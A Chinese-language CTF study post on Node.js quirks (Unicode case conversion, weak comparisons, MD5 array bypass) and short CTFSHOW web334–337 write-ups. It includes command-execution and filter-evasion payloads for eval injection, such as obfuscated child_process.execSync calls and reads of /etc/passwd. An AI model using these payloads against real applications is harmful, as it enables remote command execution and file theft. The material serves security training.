LOADING...

dadada~

loading

CTF中的Nodejs


Nodejs语言特性

大小写特性

  • 大写转换toUpperCase():字符ı ſ经过toUpperCase处理后结果为I S
  • 小写转换toLowerCase():字符K İ 经过toLowerCase处理后结果为k i

弱类型比较

  • 数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较

  • 字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较

  • 非数字型字符串与数字进行任何比较结果都是false

    console.log(1=='1'); //true 
    console.log(1>'2'); //false 
    console.log('1'<'2'); //true 
    console.log(111>'3'); //true 
    console.log('111'>'3'); //false 
    console.log('asd'>1); //false
    
  • 空数组之间比较永远为false

  • 数组之间比较只比较数组的第一个值,对第一个值采用上面的比较方法

  • 数组与非数值型字符串比较,数组永远小于非数值型字符串

  • 数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较

    console.log([]==[]); //false 
    console.log([]>[]); //false
    console.log([6,2]>[5]); //true 
    console.log([100,2]<'test'); //true 
    console.log([1,2]<'2');  //true 
    console.log([11,16]<"10"); //false
    
  • 一些特殊的相等:

    console.log(null==undefined) // 输出:true 
    console.log(null===undefined) // 输出:false 
    console.log(NaN==NaN)  // 输出:false 
    console.log(NaN===NaN)  // 输出:false
    
  • 变量拼接:

    console.log(5+[6,6]); //56,6
    console.log("5"+6); //56 
    console.log("5"+[6,6]); //56,6 
    console.log("5"+["6","6"]); //56,6
    

MD5绕过

  • 跟php很像的数组绕过

  • 如:

    a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
    
  • payload:a[x]=1&b[x]=2,数组会被解析成[object Object]

编码绕过

  • 16进制编码:console.log("a"==="\x61"); // true

  • unicode编码:console.log("\u0061"==="a"); // true

  • base编码:eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())

Nodejs危险函数的利用

命令执行

  • exec()

    require('child_process').exec('open /System/Applications/Calculator.app');
    
  • eval()

    console.log(eval("document.cookie")); //执行document.cookie
    console.log("document.cookie"); //输出document.cookie
    

文件读写

  • 读:

    • readFile()

      require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
       if (err) throw err;
       console.log(data);
      });
      
    • readFileSync()

      require('fs').readFileSync('/etc/passwd','utf-8')
      
  • 写:

    • writeFileSync()

      require('fs').writeFileSync('input.txt','sss');
      
    • writeFile()

      require('fs').writeFile('input.txt','test',(err)=>{})
      

绕过姿势

  • 原型:

    require("child_process").execSync('cat flag.txt')
    
  • 字符拼接:

    require("child_process")['exe'%2b'cSync']('cat flag.txt')//(%2b就是+的url编码)
    require('child_process')["exe".concat("cSync")]("cat flag.txt")
    
  • 编码绕过:

    require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')
    require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat flag.txt')
    eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdjYXQgZmxhZy50eHQnKTs=','base64').toString())
    
  • 模板拼接:

    require("child_process")[`${`${`exe`}cSync`}`]('cat flag.txt')
    
  • 其他函数:

    require("child_process").exec("sleep 3"); 
    require("child_process").execSync("sleep 3"); 
    require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args* 
    require("child_process").spawn('sleep', ['3']); 
    require("child_process").spawnSync('sleep', ['3']); 
    require("child_process").execFileSync('sleep', ['3'])
    

CTFSHOW-Nodejs-wp

web334

  • 源码里给了用户名和密码:

    module.exports = {
      items: [
        {username: 'CTFSHOW', password: '123456'}
      ]
    };
    
  • 然后还有一个校验:

    var findUser = function(name, password){
      return users.find(function(item){
        return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
      });
    };
    
  • 利用ſ经过toUpperCase处理后结果为S,直接构造用户名:CTFſHOW登录得到flag

web335

  • 源码里找到注释: <!-- /?eval= -->
  • 应该是可以命令执行,payload:?eval=require("child_process").execSync('cat fl00g.txt')

web336

  • payload:?eval=require("child_process")['exe'+'cSync']('cat fl001g.txt')

web337

  • 给了源码:

    if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
          res.end(flag);
      }
    
  • MD5绕过,payload:/?a[x]=1&b[x]=2